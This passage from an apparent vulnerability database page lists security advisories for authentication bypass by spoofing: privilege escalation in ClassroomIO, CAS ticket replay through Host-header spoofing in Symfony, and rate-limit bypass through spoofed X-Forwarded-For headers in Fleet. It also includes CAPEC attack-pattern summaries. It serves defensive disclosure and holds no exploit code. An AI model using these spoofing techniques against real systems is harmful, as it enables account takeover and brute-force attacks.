      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25743"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1800203"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2023-05"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2023-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8CG-23H3-5P99

Vulnerability from github – Published: 2026-03-11 15:31 – Updated: 2026-03-11 18:30

Details

An issue in ClasroomIO before v.0.2.6 allows a remote attacker to escalate privileges via the endpoints /api/verify and /rest/v1/profile

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-67298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-11T15:16:21Z",
    "severity": "HIGH"
  },
  "details": "An issue in ClasroomIO before v.0.2.6 allows a remote attacker to escalate privileges via the endpoints /api/verify and /rest/v1/profile",
  "id": "GHSA-j8cg-23h3-5p99",
  "modified": "2026-03-11T18:30:31Z",
  "published": "2026-03-11T15:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67298"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/prashunbaral/70c4f6f9d9ff8b82295623073eb41f3a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/classroomio/classroomio/releases/tag/v0.2.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8GJ-9RM5-4XHX

Vulnerability from github – Published: 2026-05-27 21:11 – Updated: 2026-05-27 21:11

Summary

Symfony's Cas2Handler Derives CAS service URL from Client Host Header → Cross-Service Ticket Replay

Details

Cas2Handler builds this service parameter from Request::getSchemeAndHttpHost(), which reflects the attacker-controlled HTTP Host header whenever Symfony's framework.trusted_hosts setting is not configured (the default). An attacker who controls any other application registered with the same CAS server can replay a victim's ticket against the Symfony application, with a spoofed Host header, and be authenticated as that victim.

Resolution

A new required service_url configuration option is introduced on Cas2Handler. The CAS service parameter sent to the validation endpoint is now built from this configured URL instead of being derived from the request's Host header, preventing cross-service ticket replay via Host header spoofing.

The patch for this issue is available here for branch 7.4.

Credits

Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and Nicolas Grekas for providing the fix.

Severity

6.6 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/security-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/security-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T21:11:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`Cas2Handler` builds this `service` parameter from `Request::getSchemeAndHttpHost()`, which reflects the attacker-controlled HTTP `Host` header whenever Symfony\u0027s `framework.trusted_hosts` setting is not configured (the default). An attacker who controls any *other* application registered with the same CAS server can replay a victim\u0027s ticket against the Symfony application, with a spoofed `Host` header, and be authenticated as that victim.\n\n### Resolution\n\nA new required `service_url` configuration option is introduced on `Cas2Handler`. The CAS `service` parameter sent to the validation endpoint is now built from this configured URL instead of being derived from the request\u0027s `Host` header, preventing cross-service ticket replay via Host header spoofing.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/5ba145dba702404801bdf9e7e8d6df170060d541) for branch 7.4.\n\n### Credits\n\nSymfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and Nicolas Grekas for providing the fix.",
  "id": "GHSA-j8gj-9rm5-4xhx",
  "modified": "2026-05-27T21:11:59Z",
  "published": "2026-05-27T21:11:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-j8gj-9rm5-4xhx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/commit/5ba145dba702404801bdf9e7e8d6df170060d541"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security-http/CVE-2026-45074.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45074.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2026-45074"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Symfony\u0027s Cas2Handler Derives CAS service URL from Client Host Header \u2192 Cross-Service Ticket Replay"
}

GHSA-J8H8-75H3-JG53

Vulnerability from github – Published: 2026-05-14 13:13 – Updated: 2026-05-15 23:44

Summary

Fleet has a rate limiting bypass via untrusted client IP headers

Details

Impact

Fleet trusted client-supplied IP address headers when determining the source IP for incoming requests. This allowed authenticated and unauthenticated clients to spoof their apparent IP address and bypass per-IP rate limiting controls.

Fleet determines a client’s public IP address using HTTP headers such as: - X-Forwarded-For - X-Real-IP - True-Client-IP

These headers were trusted without validation. An attacker could supply arbitrary values in these headers, causing Fleet to treat each request as originating from a different IP address.

This could allow an attacker to bypass per-IP rate limits and increase the effectiveness of brute-force or password-spraying attempts against authentication endpoints.

This issue does not allow authentication bypass, privilege escalation, data exposure, or remote code execution on its own.

Workarounds

Run Fleet behind a trusted reverse proxy or load balancer that overwrites client IP headers.

For more information

If you have any questions or comments about this advisory:

Email us at security@fleetdm.com Join #fleet in osquery Slack

Credits

We thank @fuzzztf for responsibly reporting this issue.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fleetdm/fleet/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.80.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24000"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T13:13:39Z",
    "nvd_published_at": "2026-05-14T20:17:01Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nFleet trusted client-supplied IP address headers when determining the source IP for incoming requests. This allowed authenticated and unauthenticated clients to spoof their apparent IP address and bypass per-IP rate limiting controls.\n\nFleet determines a client\u2019s public IP address using HTTP headers such as:\n- X-Forwarded-For\n- X-Real-IP\n- True-Client-IP\n\nThese headers were trusted without validation. An attacker could supply arbitrary values in these headers, causing Fleet to treat each request as originating from a different IP address.\n\nThis could allow an attacker to bypass per-IP rate limits and increase the effectiveness of brute-force or password-spraying attempts against authentication endpoints.\n\nThis issue does not allow authentication bypass, privilege escalation, data exposure, or remote code execution on its own.\n\n### Workarounds\n\nRun Fleet behind a trusted reverse proxy or load balancer that overwrites client IP headers.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\nEmail us at [security@fleetdm.com](mailto:security@fleetdm.com)\nJoin #fleet in [osquery Slack](https://join.slack.com/t/osquery/shared_invite/zt-h29zm0gk-s2DBtGUTW4CFel0f0IjTEw)\n\n### Credits\n\nWe thank @fuzzztf for responsibly reporting this issue.",
  "id": "GHSA-j8h8-75h3-jg53",
  "modified": "2026-05-15T23:44:40Z",
  "published": "2026-05-14T13:13:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-j8h8-75h3-jg53"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24000"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fleetdm/fleet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fleetdm/fleet/releases/tag/fleet-v4.80.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fleet has a rate limiting bypass via untrusted client IP headers"
}

No mitigation information available for this CWE.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.

CAPEC-473: Signature Spoof

An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.

CAPEC-476: Signature Spoofing by Misrepresentation

An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-667: Bluetooth Impersonation AttackS (BIAS)

An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list